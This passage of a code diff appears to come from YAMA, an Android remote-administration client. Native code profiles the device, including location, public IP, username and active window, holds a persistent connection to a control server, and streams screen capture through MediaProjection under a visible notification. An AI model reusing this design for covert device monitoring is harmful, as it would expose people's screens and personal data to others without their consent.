strncpy(logInfo.OsVerInfoEx, g_androidVersion.c_str(), sizeof(logInfo.OsVerInfoEx) - 1);
|
||||||
|
strncpy(logInfo.szStartTime, ToPekingTimeAsString(nullptr).c_str(), sizeof(logInfo.szStartTime) - 1);
|
||||||
|
logInfo.dwCPUMHz = GetCpuMHz();
|
||||||
|
logInfo.bWebCamIsExist = 0;
|
||||||
|
|
||||||
|
g_myClientID = XXH64(g_androidId.c_str(), g_androidId.size(), 0);
|
||||||
|
|
||||||
|
logInfo.AddReserved("APK");
|
||||||
|
logInfo.AddReserved(64); // OS bits
|
||||||
|
logInfo.AddReserved(GetCpuCores()); // CPU 核数
|
||||||
|
logInfo.AddReserved(GetMemoryGB()); // 内存 GB
|
||||||
|
logInfo.AddReserved(g_apkPath.empty() ? "/data/app/com.yama.client"
|
||||||
|
: g_apkPath.c_str()); // 文件路径
|
||||||
|
logInfo.AddReserved("?");
|
||||||
|
logInfo.AddReserved(logInfo.szStartTime);
|
||||||
|
logInfo.AddReserved("?");
|
||||||
|
logInfo.AddReserved(64); // 程序位数
|
||||||
|
logInfo.AddReserved("");
|
||||||
|
logInfo.AddReserved(g_location.c_str()); // [10] 地理位置
|
||||||
|
logInfo.AddReserved(g_pubIp.c_str()); // [11] 公网 IP
|
||||||
|
logInfo.AddReserved("v1.0.0");
|
||||||
|
logInfo.AddReserved(g_username.c_str());
|
||||||
|
logInfo.AddReserved(0); // IsRunningAsAdmin
|
||||||
|
logInfo.AddReserved(g_screenRes.c_str());
|
||||||
|
logInfo.AddReserved(std::to_string(g_myClientID).c_str());
|
||||||
|
logInfo.AddReserved((int)getpid()); // PID
|
||||||
|
logInfo.AddReserved(FormatFileSize(GetFileSize(g_apkPath)).c_str()); // 文件大小
|
||||||
|
|
||||||
|
ClientAuth::g_loginMsg = std::string(logInfo.szStartTime) + "|" + std::to_string(g_myClientID);
|
||||||
|
LOGI("ClientID=%" PRIu64, g_myClientID);
|
||||||
|
|
||||||
|
std::unique_ptr<IOCPClient> client(new IOCPClient(g_bExit, false));
|
||||||
|
client->setManagerCallBack(nullptr, DataProcess, nullptr);
|
||||||
|
|
||||||
|
int g_connAttempt = 0;
|
||||||
|
while (S_CLIENT_NORMAL == g_bExit && g_running.load()) {
|
||||||
|
char connMsg[64];
|
||||||
|
snprintf(connMsg, sizeof(connMsg), "connect #%d → %s:%d",
|
||||||
|
++g_connAttempt, g_serverIp.c_str(), g_serverPort);
|
||||||
|
PostStatus(connMsg);
|
||||||
|
clock_t c = clock();
|
||||||
|
if (!client->ConnectServer(g_serverIp.c_str(), g_serverPort)) {
|
||||||
|
snprintf(connMsg, sizeof(connMsg), "connect #%d failed errno=%d", g_connAttempt, errno);
|
||||||
|
PostStatus(connMsg);
|
||||||
|
Sleep(5000);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
PostStatus("connected! sending login...");
|
||||||
|
ClientAuth::OnNewConnection();
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lk(g_shMutex);
|
||||||
|
std::string pcName = g_deviceModel;
|
||||||
|
if (g_SETTINGS.szGroupName[0]) { pcName += '/'; pcName += g_SETTINGS.szGroupName; }
|
||||||
|
strncpy(logInfo.szPCName, pcName.c_str(), sizeof(logInfo.szPCName) - 1);
|
||||||
|
logInfo.szPCName[sizeof(logInfo.szPCName) - 1] = '\0';
|
||||||
|
}
|
||||||
|
client->SendLoginInfo(logInfo.Speed(clock() - c));
|
||||||
|
g_lastHeartbeatAckMs.store(GetUnixMs(), std::memory_order_relaxed);
|
||||||
|
LOGI("Connected & login sent");
|
||||||
|
|
||||||
|
while (client->IsRunning() && client->IsConnected()
|
||||||
|
&& S_CLIENT_NORMAL == g_bExit && g_running.load())
|
||||||
|
{
|
||||||
|
int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30;
|
||||||
|
for (int i = 0; i < interval; ++i) {
|
||||||
|
if (!client->IsRunning() || !client->IsConnected()
|
||||||
|
|| g_bExit != S_CLIENT_NORMAL || !g_running.load()) {
|
||||||
|
char dbg[96];
|
||||||
|
snprintf(dbg, sizeof(dbg), "drop@%ds run=%d conn=%d exit=%d run2=%d",
|
||||||
|
i, (int)client->IsRunning(), (int)client->IsConnected(),
|
||||||
|
(int)(g_bExit == S_CLIENT_NORMAL), (int)g_running.load());
|
||||||
|
PostStatus(dbg);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
Sleep(1000);
|
||||||
|
}
|
||||||
|
if (!client->IsRunning() || !client->IsConnected()
|
||||||
|
|| g_bExit != S_CLIENT_NORMAL || !g_running.load()) break;
|
||||||
|
|
||||||
|
if (ClientAuth::IsTimedOut()) {
|
||||||
|
PostStatus("timeout: masterSettings");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
{
|
||||||
|
int ackTO = (interval * 3 > 60) ? interval * 3 : 60;
|
||||||
|
uint64_t last = g_lastHeartbeatAckMs.load(std::memory_order_relaxed);
|
||||||
|
uint64_t now = GetUnixMs();
|
||||||
|
if (last > 0 && now > last && now - last > (uint64_t)ackTO * 1000ULL) {
|
||||||
|
PostStatus("timeout: ACK");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Heartbeat hb;
|
||||||
|
hb.Time = GetUnixMs();
|
||||||
|
hb.Ping = (int)(g_rttEstimator.srtt * 1000.0);
|
||||||
|
std::string aw = GetActiveWindowFromJava();
|
||||||
|
strncpy(hb.ActiveWnd, aw.c_str(), sizeof(hb.ActiveWnd) - 1);
|
||||||
|
|
||||||
|
BYTE buf[sizeof(Heartbeat) + 1];
|
||||||
|
buf[0] = TOKEN_HEARTBEAT;
|
||||||
|
memcpy(buf + 1, &hb, sizeof(Heartbeat));
|
||||||
|
client->Send2Server((char*)buf, sizeof(buf));
|
||||||
|
{
|
||||||
|
uint64_t now2 = GetUnixMs();
|
||||||
|
if (now2 - g_lastHbLogMs.load(std::memory_order_relaxed) >= HB_LOG_INTERVAL_MS) {
|
||||||
|
// ACK 分支会更新 g_lastHbLogMs,这里仅在没有 ACK 时兜底打印
|
||||||
|
LOGI("Heartbeat Ping=%dms", hb.Ping);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
PostStatus("disconnected, retry...");
|
||||||
|
// Give server 2 s to remove old context from HostList; without this
|
||||||
|
// the immediate reconnect hits "already exists" and server skips SendMasterSettings.
|
||||||
|
std::this_thread::sleep_for(std::chrono::seconds(2));
|
||||||
|
}
|
||||||
|
|
||||||
|
g_running.store(false);
|
||||||
|
LOGI("ConnectionThread exit");
|
||||||
|
|
||||||
|
if (g_bExit == S_CLIENT_EXIT && g_jvm && g_captureClass && g_nativeExitMid) {
|
||||||
|
JNIEnv* jenv = nullptr;
|
||||||
|
bool attached = false;
|
||||||
|
if (g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6) == JNI_EDETACHED) {
|
||||||
|
g_jvm->AttachCurrentThread(&jenv, nullptr);
|
||||||
|
attached = true;
|
||||||
|
}
|
||||||
|
if (jenv) {
|
||||||
|
jenv->CallStaticVoidMethod(g_captureClass, g_nativeExitMid);
|
||||||
|
if (jenv->ExceptionCheck()) jenv->ExceptionClear();
|
||||||
|
}
|
||||||
|
if (attached) g_jvm->DetachCurrentThread();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ------------------------------------------------------------------ JNI
|
||||||
|
extern "C" {
|
||||||
|
|
||||||
|
JNIEXPORT jint JNICALL
|
||||||
|
Java_com_yama_client_YamaBridge_nativeInit(
|
||||||
|
JNIEnv* env, jobject,
|
||||||
|
jstring serverIp, jint serverPort,
|
||||||
|
jstring androidId, jstring deviceModel,
|
||||||
|
jstring androidVersion, jstring screenRes,
|
||||||
|
jstring username, jstring apkPath, jstring filesDir)
|
||||||
|
{
|
||||||
|
// CPP-01 fix: CAS 原子地完成"检查+设置",消除 check-then-act 竞争
|
||||||
|
bool expected = false;
|
||||||
|
if (!g_running.compare_exchange_strong(expected, true)) {
|
||||||
|
LOGI("already running"); return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
auto toStr = [&](jstring js) -> std::string {
|
||||||
|
if (!js) return "";
|
||||||
|
const char* c = env->GetStringUTFChars(js, nullptr);
|
||||||
|
std::string s = c ? c : "";
|
||||||
|
env->ReleaseStringUTFChars(js, c);
|
||||||
|
return s;
|
||||||
|
};
|
||||||
|
|
||||||
|
g_serverIp = g_SETTINGS.ServerIP();
|
||||||
|
g_serverPort = g_SETTINGS.ServerPort();
|
||||||
|
g_androidId = toStr(androidId);
|
||||||
|
g_deviceModel = toStr(deviceModel);
|
||||||
|
g_androidVersion = toStr(androidVersion);
|
||||||
|
g_screenRes = toStr(screenRes);
|
||||||
|
g_username = toStr(username);
|
||||||
|
g_apkPath = toStr(apkPath);
|
||||||
|
g_filesDir = toStr(filesDir);
|
||||||
|
LoadGroupName(); // 若文件存在则覆盖 g_SETTINGS.szGroupName(优先级高于编译时 patch)
|
||||||
|
|
||||||
|
// 缓存 JVM 和 Class/Method 引用。必须在 Java 线程(nativeInit 调用栈)
|
||||||
|
// 里做 FindClass,否则 AttachCurrentThread 的后台线程只有系统 ClassLoader,
|
||||||
|
// 找不到 App 类,GetStaticMethodID 拿到 null 导致后续调用崩溃。
|
||||||
|
if (g_jvm == nullptr) {
|
||||||
|
if (env->GetJavaVM(&g_jvm) == JNI_OK) {
|
||||||
|
jclass cls = env->FindClass("com/yama/client/ControlService");
|
||||||
|
if (cls) {
|
||||||
|
g_ctrlClass = (jclass)env->NewGlobalRef(cls);
|
||||||
|
g_ctrlMethod = env->GetStaticMethodID(g_ctrlClass, "onControlEvent", "(IJII)V");
|
||||||
|
if (!g_ctrlMethod) LOGE("ControlService.onControlEvent not found");
|
||||||
|
g_getActiveWindowMid = env->GetStaticMethodID(g_ctrlClass, "getActiveWindow", "()Ljava/lang/String;");
|
||||||
|
if (env->ExceptionCheck()) { env->ExceptionClear(); g_getActiveWindowMid = nullptr; }
|
||||||
|
if (!g_getActiveWindowMid) LOGE("ControlService.getActiveWindow not found");
|
||||||
|
} else {
|
||||||
|
LOGE("ControlService class not found");
|
||||||
|
}
|
||||||
|
jclass capCls = env->FindClass("com/yama/client/CaptureService");
|
||||||
|
if (env->ExceptionCheck()) { env->ExceptionClear(); capCls = nullptr; }
|
||||||
|
if (capCls) {
|
||||||
|
g_captureClass = (jclass)env->NewGlobalRef(capCls);
|
||||||
|
g_requestIdrMid = env->GetStaticMethodID(g_captureClass, "requestIdr", "()V");
|
||||||
|
if (env->ExceptionCheck()) { env->ExceptionClear(); g_requestIdrMid = nullptr; }
|
||||||
|
if (!g_requestIdrMid) LOGE("CaptureService.requestIdr not found");
|
||||||
|
// GetStaticMethodID 找不到方法时会挂起 JNI 异常;必须清除,
|
||||||
|
// 否则 nativeInit 返回时 Java 层会抛出 NoSuchMethodError 崩溃。
|
||||||
|
g_forceFirstFrameMid = env->GetStaticMethodID(g_captureClass, "forceFirstFrame", "()V");
|
||||||
|
if (env->ExceptionCheck()) { env->ExceptionClear(); g_forceFirstFrameMid = nullptr; }
|
||||||
|
if (!g_forceFirstFrameMid) LOGE("CaptureService.forceFirstFrame not found");
|
||||||
|
g_statusMid = env->GetStaticMethodID(g_captureClass, "onNativeStatus", "(Ljava/lang/String;)V");
|
||||||
|
if (env->ExceptionCheck()) { env->ExceptionClear(); g_statusMid = nullptr; }
|
||||||
|
if (!g_statusMid) LOGE("CaptureService.onNativeStatus not found");
|
||||||
|
g_nativeExitMid = env->GetStaticMethodID(g_captureClass, "onNativeExit", "()V");
|
||||||
|
if (env->ExceptionCheck()) { env->ExceptionClear(); g_nativeExitMid = nullptr; }
|
||||||
|
if (!g_nativeExitMid) LOGE("CaptureService.onNativeExit not found");
|
||||||
|
UseAndroidLog(PostStatus);
|
||||||
|
} else {
|
||||||
|
LOGE("CaptureService class not found");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
g_bExit = S_CLIENT_NORMAL;
|
||||||
|
// g_running 已在 CAS 中设为 true,不重复 store
|
||||||
|
std::thread(ConnectionThread).detach();
|
||||||
|
LOGI("nativeInit OK server=%s:%d", g_serverIp.c_str(), g_serverPort);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
JNIEXPORT void JNICALL
|
||||||
|
Java_com_yama_client_YamaBridge_nativeStop(JNIEnv*, jobject)
|
||||||
|
{
|
||||||
|
LOGI("nativeStop");
|
||||||
|
g_bExit = S_CLIENT_EXIT;
|
||||||
|
g_running.store(false);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 由 CaptureService 在 MediaCodec 配置完成后调用,告知 C++ 侧实际捕获尺寸
|
||||||
|
JNIEXPORT void JNICALL
|
||||||
|
Java_com_yama_client_YamaBridge_nativeSetScreenSize(JNIEnv*, jobject, jint width, jint height)
|
||||||
|
{
|
||||||
|
g_screenWidth.store(width);
|
||||||
|
g_screenHeight.store(height);
|
||||||
|
LOGI("ScreenSize=%dx%d", width, height);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 由 CaptureService 的 MediaCodec.Callback 调用,投递 H.264 NALU
|
||||||
|
JNIEXPORT void JNICALL
|
||||||
|
Java_com_yama_client_YamaBridge_nativeOnH264Frame(
|
||||||
|
JNIEnv* env, jobject,
|
||||||
|
jbyteArray data, jint offset, jint size, jboolean isKeyframe)
|
||||||
|
{
|
||||||
|
// CPP-04 fix: 验证 offset/size 边界,防止越界读写导致崩溃
|
||||||
|
if (!data || offset < 0 || size <= 0) return;
|
||||||
|
jsize arrLen = env->GetArrayLength(data);
|
||||||
|
if ((jlong)offset + size > arrLen) {
|
||||||
|
LOGE("nativeOnH264Frame: bounds violation offset=%d size=%d arrLen=%d", offset, size, arrLen);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
jbyte* buf = env->GetByteArrayElements(data, nullptr);
|
||||||
|
if (!buf) return;
|
||||||
|
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lk(g_shMutex);
|
||||||
|
for (auto* h : g_screenHandlers)
|
||||||
|
h->OnFrameData((const uint8_t*)buf + offset, (uint32_t)size, (bool)isKeyframe);
|
||||||
|
}
|
||||||
|
|
||||||
|
env->ReleaseByteArrayElements(data, buf, JNI_ABORT);
|
||||||
|
}
|
||||||
|
|
||||||
|
} // extern "C"
|
||||||
409
android/app/src/main/java/com/yama/client/CaptureService.kt
Normal file
@@ -0,0 +1,409 @@
|
|||||||
|
package com.yama.client
|
||||||
|
|
||||||
|
import android.app.Notification
|
||||||
|
import android.app.NotificationChannel
|
||||||
|
import android.app.NotificationManager
|
||||||
|
import android.app.Service
|
||||||
|
import android.content.Intent
|
||||||
|
import android.hardware.display.DisplayManager
|
||||||
|
import android.hardware.display.VirtualDisplay
|
||||||
|
import android.media.MediaCodec
|
||||||
|
import android.media.MediaCodecInfo
|
||||||
|
import android.media.MediaFormat
|
||||||
|
import android.media.projection.MediaProjection
|
||||||
|
import android.media.projection.MediaProjectionManager
|
||||||
|
import android.os.Build
|
||||||
|
import android.os.Bundle
|
||||||
|
import android.os.Handler
|
||||||
|
import android.os.IBinder
|
||||||
|
import android.os.Looper
|
||||||
|
import android.provider.Settings
|
||||||
|
import android.util.DisplayMetrics
|
||||||
|
import android.util.Log
|
||||||
|
import android.view.WindowManager
|
||||||
|
import android.widget.Toast
|
||||||
|
|
||||||
|
class CaptureService : Service() {
|
||||||
|
|
||||||
|
companion object {
|
||||||
|
const val TAG = "YAMA"
|
||||||
|
const val CHANNEL_ID = "yama_service"
|
||||||
|
const val NOTIF_ID = 1
|
||||||
|
|
||||||
|
const val EXTRA_SERVER_IP = "server_ip"
|
||||||
|
const val EXTRA_SERVER_PORT = "server_port"
|
||||||
|
const val EXTRA_PROJECTION_RESULT = "projection_result"
|
||||||
|
const val EXTRA_PROJECTION_DATA = "projection_data"
|
||||||
|
|
||||||
|
private const val MAX_LONG_SIDE = 1080
|
||||||
|
|
||||||
|
// CS-01 fix: 通过 idrHandler.post 序列化到主线程,避免 TOCTOU 竞争
|
||||||
|
@Volatile var instance: CaptureService? = null
|
||||||
|
|
||||||
|
@JvmStatic
|
||||||
|
fun onNativeStatus(msg: String) {
|
||||||
|
val svc = instance ?: return
|
||||||
|
svc.idrHandler.post {
|
||||||
|
Toast.makeText(svc, msg, Toast.LENGTH_LONG).show()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@JvmStatic
|
||||||
|
fun onNativeExit() {
|
||||||
|
val svc = instance ?: return
|
||||||
|
Log.i(TAG, "onNativeExit: server requested disconnect, stopping service")
|
||||||
|
svc.idrHandler.post { svc.stopSelf() }
|
||||||
|
}
|
||||||
|
|
||||||
|
@JvmStatic
|
||||||
|
fun requestIdr() {
|
||||||
|
val svc = instance ?: return
|
||||||
|
svc.idrHandler.post {
|
||||||
|
runCatching {
|
||||||
|
val p = Bundle()
|
||||||
|
p.putInt(MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME, 0)
|
||||||
|
svc.mediaCodec?.setParameters(p)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 静止屏幕黑屏修复:SurfaceFlinger 在无脏区时不向 VirtualDisplay 推帧,
|
||||||
|
* 导致编码器无输入,REQUEST_SYNC_FRAME 悬空排队,浏览器等 10-60 秒才见画面。
|
||||||
|
* 解决方法:将 VirtualDisplay 宽度临时改变 2px,触发一次强制合成,
|
||||||
|
* 编码器随即得到输入帧并消费已排队的 IDR 请求。150ms 后恢复原始尺寸。
|
||||||
|
*/
|
||||||
|
@JvmStatic
|
||||||
|
fun forceFirstFrame() {
|
||||||
|
val svc = instance ?: return
|
||||||
|
svc.idrHandler.post {
|
||||||
|
runCatching {
|
||||||
|
val vd = svc.virtualDisplay ?: return@runCatching
|
||||||
|
val w = ControlService.encW
|
||||||
|
val h = ControlService.encH
|
||||||
|
val dpi = svc.resources.displayMetrics.densityDpi
|
||||||
|
Log.d(TAG, "forceFirstFrame: resize ${w}x${h} → ${w+2}x${h} to trigger composition")
|
||||||
|
vd.resize(w + 2, h, dpi)
|
||||||
|
svc.idrHandler.postDelayed({
|
||||||
|
runCatching { vd.resize(w, h, dpi) }
|
||||||
|
Log.d(TAG, "forceFirstFrame: restored ${w}x${h}")
|
||||||
|
}, 150)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private var mediaProjection: MediaProjection? = null
|
||||||
|
private var virtualDisplay: VirtualDisplay? = null
|
||||||
|
private var mediaCodec: MediaCodec? = null
|
||||||
|
|
||||||
|
private val idrHandler = Handler(Looper.getMainLooper())
|
||||||
|
// CS-04 fix: runCatching 包住 setParameters,防止 codec 已停止时抛异常
|
||||||
|
private val idrRunnable = object : Runnable {
|
||||||
|
override fun run() {
|
||||||
|
runCatching {
|
||||||
|
val p = Bundle()
|
||||||
|
p.putInt(MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME, 0)
|
||||||
|
mediaCodec?.setParameters(p)
|
||||||
|
}
|
||||||
|
idrHandler.postDelayed(this, 1000)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onBind(intent: Intent?): IBinder? = null
|
||||||
|
|
||||||
|
override fun onCreate() {
|
||||||
|
super.onCreate()
|
||||||
|
instance = this
|
||||||
|
createNotificationChannel()
|
||||||
|
// CS-06: start with DATA_SYNC type only; upgrade to MEDIA_PROJECTION in
|
||||||
|
// onStartCommand when the token is actually available. On Android 14+
|
||||||
|
// (targetSdk 34+) calling startForeground(MEDIA_PROJECTION) without
|
||||||
|
// immediately pairing it with getMediaProjection() causes the system to
|
||||||
|
// kill the service after a ~5-second grace period — the root cause of the
|
||||||
|
// 3-9 s disconnect seen on Google TV when no screen-capture permission
|
||||||
|
// was granted.
|
||||||
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
|
||||||
|
startForeground(NOTIF_ID, buildNotification(),
|
||||||
|
android.content.pm.ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC)
|
||||||
|
} else {
|
||||||
|
startForeground(NOTIF_ID, buildNotification())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
|
||||||
|
// CS-03 fix: START_STICKY 重启时 intent 为 null,必须在最前面检查
|
||||||
|
if (intent == null) return START_NOT_STICKY
|
||||||
|
val ip = intent.getStringExtra(EXTRA_SERVER_IP) ?: return START_NOT_STICKY
|
||||||
|
val port = intent.getIntExtra(EXTRA_SERVER_PORT, 443)
|
||||||
|
|
||||||
|
val androidId = Settings.Secure.getString(contentResolver, Settings.Secure.ANDROID_ID) ?: ""
|
||||||
|
val model = "${Build.MANUFACTURER} ${Build.MODEL}"
|
||||||
|
val osVer = "Android ${Build.VERSION.RELEASE} (API ${Build.VERSION.SDK_INT})"
|
||||||
|
val (sw, sh) = getPhysicalResolution()
|
||||||
|
val res = "1:${sw}*${sh}"
|
||||||
|
val user = Build.USER
|
||||||
|
|
||||||
|
Log.i(TAG, "CaptureService: server=$ip:$port device=$model res=$res")
|
||||||
|
|
||||||
|
// YB-01 fix: so 库加载失败是 Error,不被 catch(Exception) 捕获,需单独处理
|
||||||
|
// ExceptionInInitializerError 包裹 UnsatisfiedLinkError(首次访问 object 时触发)
|
||||||
|
val initRet: Int
|
||||||
|
try {
|
||||||
|
initRet = YamaBridge.nativeInit(ip, port, androidId, model, osVer, res, user, packageCodePath ?: "", filesDir.absolutePath)
|
||||||
|
} catch (e: UnsatisfiedLinkError) {
|
||||||
|
Log.e(TAG, "Native library load failed: $e")
|
||||||
|
stopSelf()
|
||||||
|
return START_NOT_STICKY
|
||||||
|
} catch (e: ExceptionInInitializerError) {
|
||||||
|
Log.e(TAG, "Native library init failed: ${e.cause}")
|
||||||
|
stopSelf()
|
||||||
|
return START_NOT_STICKY
|
||||||
|
}
|
||||||
|
if (initRet != 0) {
|
||||||
|
Log.e(TAG, "nativeInit failed: ret=$initRet")
|
||||||
|
stopSelf()
|
||||||
|
return START_NOT_STICKY
|
||||||
|
}
|
||||||
|
|
||||||
|
val projResult = intent.getIntExtra(EXTRA_PROJECTION_RESULT, -1)
|
||||||
|
val projData = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU)
|
||||||
|
intent.getParcelableExtra(EXTRA_PROJECTION_DATA, Intent::class.java)
|
||||||
|
else
|
||||||
|
@Suppress("DEPRECATION") intent.getParcelableExtra(EXTRA_PROJECTION_DATA)
|
||||||
|
|
||||||
|
if (projResult == android.app.Activity.RESULT_OK && projData != null) {
|
||||||
|
// Android 14+: upgrade foreground type to MEDIA_PROJECTION in the same
|
||||||
|
// start command that calls getMediaProjection(), as required by API 34+.
|
||||||
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
|
||||||
|
startForeground(NOTIF_ID, buildNotification(),
|
||||||
|
android.content.pm.ServiceInfo.FOREGROUND_SERVICE_TYPE_MEDIA_PROJECTION)
|
||||||
|
}
|
||||||
|
val pm = getSystemService(MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
|
||||||
|
val mp = pm.getMediaProjection(projResult, projData)
|
||||||
|
mediaProjection = mp
|
||||||
|
// CS-05 fix: 分辨率为 0 时不启动采集,避免 MediaCodec 配置崩溃
|
||||||
|
if (sw > 0 && sh > 0) {
|
||||||
|
try {
|
||||||
|
startCapture(mp, sw, sh)
|
||||||
|
} catch (e: Exception) {
|
||||||
|
Log.e(TAG, "Screen capture failed: $e — running without capture")
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
Log.e(TAG, "Invalid screen resolution ${sw}x${sh}, skipping capture")
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
Log.w(TAG, "No MediaProjection token, skipping screen capture")
|
||||||
|
}
|
||||||
|
|
||||||
|
return START_STICKY
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onDestroy() {
|
||||||
|
super.onDestroy()
|
||||||
|
instance = null
|
||||||
|
stopCapture()
|
||||||
|
YamaBridge.nativeStop()
|
||||||
|
Log.i(TAG, "CaptureService destroyed")
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------- MediaProjection + MediaCodec
|
||||||
|
|
||||||
|
private fun startCapture(mp: MediaProjection, physW: Int, physH: Int) {
|
||||||
|
val (encW, encH) = scaleDown(physW, physH, MAX_LONG_SIDE)
|
||||||
|
val dpi = resources.displayMetrics.densityDpi
|
||||||
|
|
||||||
|
Log.i(TAG, "Capture: phys=${physW}x${physH} enc=${encW}x${encH} dpi=$dpi")
|
||||||
|
|
||||||
|
val codec = MediaCodec.createEncoderByType(MediaFormat.MIMETYPE_VIDEO_AVC)
|
||||||
|
val surface = configureEncoder(codec, encW, encH)
|
||||||
|
|
||||||
|
var configData: ByteArray? = null
|
||||||
|
|
||||||
|
codec.setCallback(object : MediaCodec.Callback() {
|
||||||
|
override fun onInputBufferAvailable(mc: MediaCodec, index: Int) { /* Surface 模式不用 */ }
|
||||||
|
|
||||||
|
override fun onOutputBufferAvailable(mc: MediaCodec, index: Int, info: MediaCodec.BufferInfo) {
|
||||||
|
val buf = mc.getOutputBuffer(index)
|
||||||
|
if (buf == null || info.size == 0) {
|
||||||
|
mc.releaseOutputBuffer(index, false)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
buf.position(info.offset)
|
||||||
|
buf.limit(info.offset + info.size)
|
||||||
|
|
||||||
|
if (info.flags and MediaCodec.BUFFER_FLAG_CODEC_CONFIG != 0) {
|
||||||
|
configData = ByteArray(info.size).also { buf.get(it) }
|
||||||
|
mc.releaseOutputBuffer(index, false)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
val isKey = info.flags and MediaCodec.BUFFER_FLAG_KEY_FRAME != 0
|
||||||
|
val frame = ByteArray(info.size).also { buf.get(it) }
|
||||||
|
mc.releaseOutputBuffer(index, false)
|
||||||
|
|
||||||
|
// 部分安卓硬件编码器(如某些高通实现)对 REQUEST_SYNC_FRAME 强制产生的
|
||||||
|
// IDR 帧不设置 BUFFER_FLAG_KEY_FRAME,导致 SendLoop 将所有帧视为 P 帧丢弃。
|
||||||
|
// 补充扫描 NALU 字节来识别真正的关键帧,确保首帧能顺利发出。
|
||||||
|
val actualIsKey = isKey || isNaluKeyframe(frame)
|
||||||
|
val payload = if (actualIsKey && configData != null) configData!! + frame else frame
|
||||||
|
YamaBridge.nativeOnH264Frame(payload, 0, payload.size, actualIsKey)
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onError(mc: MediaCodec, e: MediaCodec.CodecException) {
|
||||||
|
Log.e(TAG, "MediaCodec error: $e")
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onOutputFormatChanged(mc: MediaCodec, format: MediaFormat) {
|
||||||
|
Log.i(TAG, "Output format: $format")
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
codec.start()
|
||||||
|
mediaCodec = codec
|
||||||
|
|
||||||
|
idrHandler.postDelayed(idrRunnable, 500)
|
||||||
|
|
||||||
|
// Android 14+ requires callback registered before createVirtualDisplay()
|
||||||
|
mp.registerCallback(object : MediaProjection.Callback() {
|
||||||
|
override fun onStop() {
|
||||||
|
Log.i(TAG, "MediaProjection stopped — switching to dataSync foreground type")
|
||||||
|
stopCapture()
|
||||||
|
// Android 14+: system auto-kills a foreground service whose mediaProjection
|
||||||
|
// is revoked. Re-declare as dataSync-only to survive without screen capture.
|
||||||
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
|
||||||
|
startForeground(NOTIF_ID, buildNotification(),
|
||||||
|
android.content.pm.ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}, null)
|
||||||
|
|
||||||
|
virtualDisplay = mp.createVirtualDisplay(
|
||||||
|
"YAMA",
|
||||||
|
encW, encH, dpi,
|
||||||
|
DisplayManager.VIRTUAL_DISPLAY_FLAG_AUTO_MIRROR,
|
||||||
|
surface, null, null
|
||||||
|
)
|
||||||
|
|
||||||
|
YamaBridge.nativeSetScreenSize(encW, encH)
|
||||||
|
|
||||||
|
ControlService.physW = physW
|
||||||
|
ControlService.physH = physH
|
||||||
|
ControlService.encW = encW
|
||||||
|
ControlService.encH = encH
|
||||||
|
|
||||||
|
Log.i(TAG, "MediaCodec + VirtualDisplay started ${encW}x${encH}")
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun buildFmt(w: Int, h: Int, lowLatency: Boolean, baseline: Boolean) =
|
||||||
|
MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, w, h).apply {
|
||||||
|
setInteger(MediaFormat.KEY_COLOR_FORMAT,
|
||||||
|
MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface)
|
||||||
|
setInteger(MediaFormat.KEY_BIT_RATE, 4_000_000)
|
||||||
|
setInteger(MediaFormat.KEY_FRAME_RATE, 30)
|
||||||
|
setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, 2)
|
||||||
|
setInteger(MediaFormat.KEY_PRIORITY, 0)
|
||||||
|
setInteger(MediaFormat.KEY_OPERATING_RATE, 30)
|
||||||
|
if (lowLatency) {
|
||||||
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N)
|
||||||
|
setInteger(MediaFormat.KEY_LATENCY, 0)
|
||||||
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q)
|
||||||
|
setInteger(MediaFormat.KEY_LOW_LATENCY, 1)
|
||||||
|
}
|
||||||
|
